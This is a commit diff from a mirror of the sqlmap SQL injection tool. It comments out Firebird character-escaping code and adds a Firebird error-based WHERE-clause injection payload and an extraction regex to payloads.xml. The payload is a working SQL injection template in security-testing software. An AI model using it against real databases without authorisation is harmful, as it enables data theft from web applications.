sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-26 11:33:47 +03:00
Code Issues Packages Projects Releases Wiki Activity

added Firebird error based (WHERE) attack vector

Browse Source
This commit is contained in:
Miroslav Stampar 2010-12-02 15:09:21 +00:00
parent 283a04e29a
commit bf09b8a6d9
2 changed files with 61 additions and 38 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

78
plugins/dbms/firebird/syntax.py
View File

@ -15,59 +15,63 @@ class Syntax(GenericSyntax):
def __init__(self): def __init__(self):
GenericSyntax.__init__(self) GenericSyntax.__init__(self)
# As ASCII_CHAR is only available from v2.1 we'll need to adapt this one to use the
# commented-out part only if detected version>=2.1
# Reference: wiki.firebirdsql.org/wiki/index.php?page=ASCII_CHAR
@staticmethod @staticmethod
def unescape(expression, quote=True): def unescape(expression, quote=True):
if quote: #if quote:
while True: #while True:
index = expression.find("'") #index = expression.find("'")
if index == -1: #if index == -1:
break #break
firstIndex = index + 1 #firstIndex = index + 1
index = expression[firstIndex:].find("'") #index = expression[firstIndex:].find("'")
if index == -1: #if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression #raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index #lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex] #old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = "" #unescaped = ""
for i in range(firstIndex, lastIndex): #for i in range(firstIndex, lastIndex):
unescaped += "ASCII_CHAR(%d)" % (ord(expression[i])) #unescaped += "ASCII_CHAR(%d)" % (ord(expression[i]))
if i < lastIndex - 1: #if i < lastIndex - 1:
unescaped += "||" #unescaped += "||"
expression = expression.replace(old, unescaped) #expression = expression.replace(old, unescaped)
else: #else:
unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression) #unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression)
if unescaped[-1] == "||": #if unescaped[-1] == "||":
unescaped = unescaped[:-1] #unescaped = unescaped[:-1]
expression = unescaped #expression = unescaped
return expression return expression
@staticmethod @staticmethod
def escape(expression): def escape(expression):
while True: #while True:
index = expression.find("ASCII_CHAR(") #index = expression.find("ASCII_CHAR(")
if index == -1: #if index == -1:
break #break
firstIndex = index #firstIndex = index
index = expression[firstIndex:].find(")") #index = expression[firstIndex:].find(")")
if index == -1: #if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression #raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1 #lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex] #old = expression[firstIndex:lastIndex]
oldUpper = old.upper() #oldUpper = old.upper()
oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")") #oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")")
oldUpper = oldUpper.split("||") #oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) #escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped).replace("'||'", "") #expression = expression.replace(old, escaped).replace("'||'", "")
return expression return expression

21
xml/payloads.xml
View File

@ -704,9 +704,28 @@ Formats:
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
</details> </details>
</test> </test>
<test>
<title>Firebird error-based - WHERE clause</title>
<stype>2</stype>
<level>1</level>
<risk>0</risk>
<clause>1</clause>
<where>1</where>
<epayload>AND [RANDNUM]=('[DELIMITER_START]'||%s||'[DELIMITER_STOP]')</epayload>
<request>
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Firebird</dbms>
</details>
</test>
<!-- <!--
TODO: if possible, add payload for SQLite, Microsoft Access, TODO: if possible, add payload for SQLite, Microsoft Access,
Firebird and SAP MaxDB - no known techniques at this time and SAP MaxDB - no known techniques at this time
--> -->
<!-- End of error-based tests - WHERE clause --> <!-- End of error-based tests - WHERE clause -->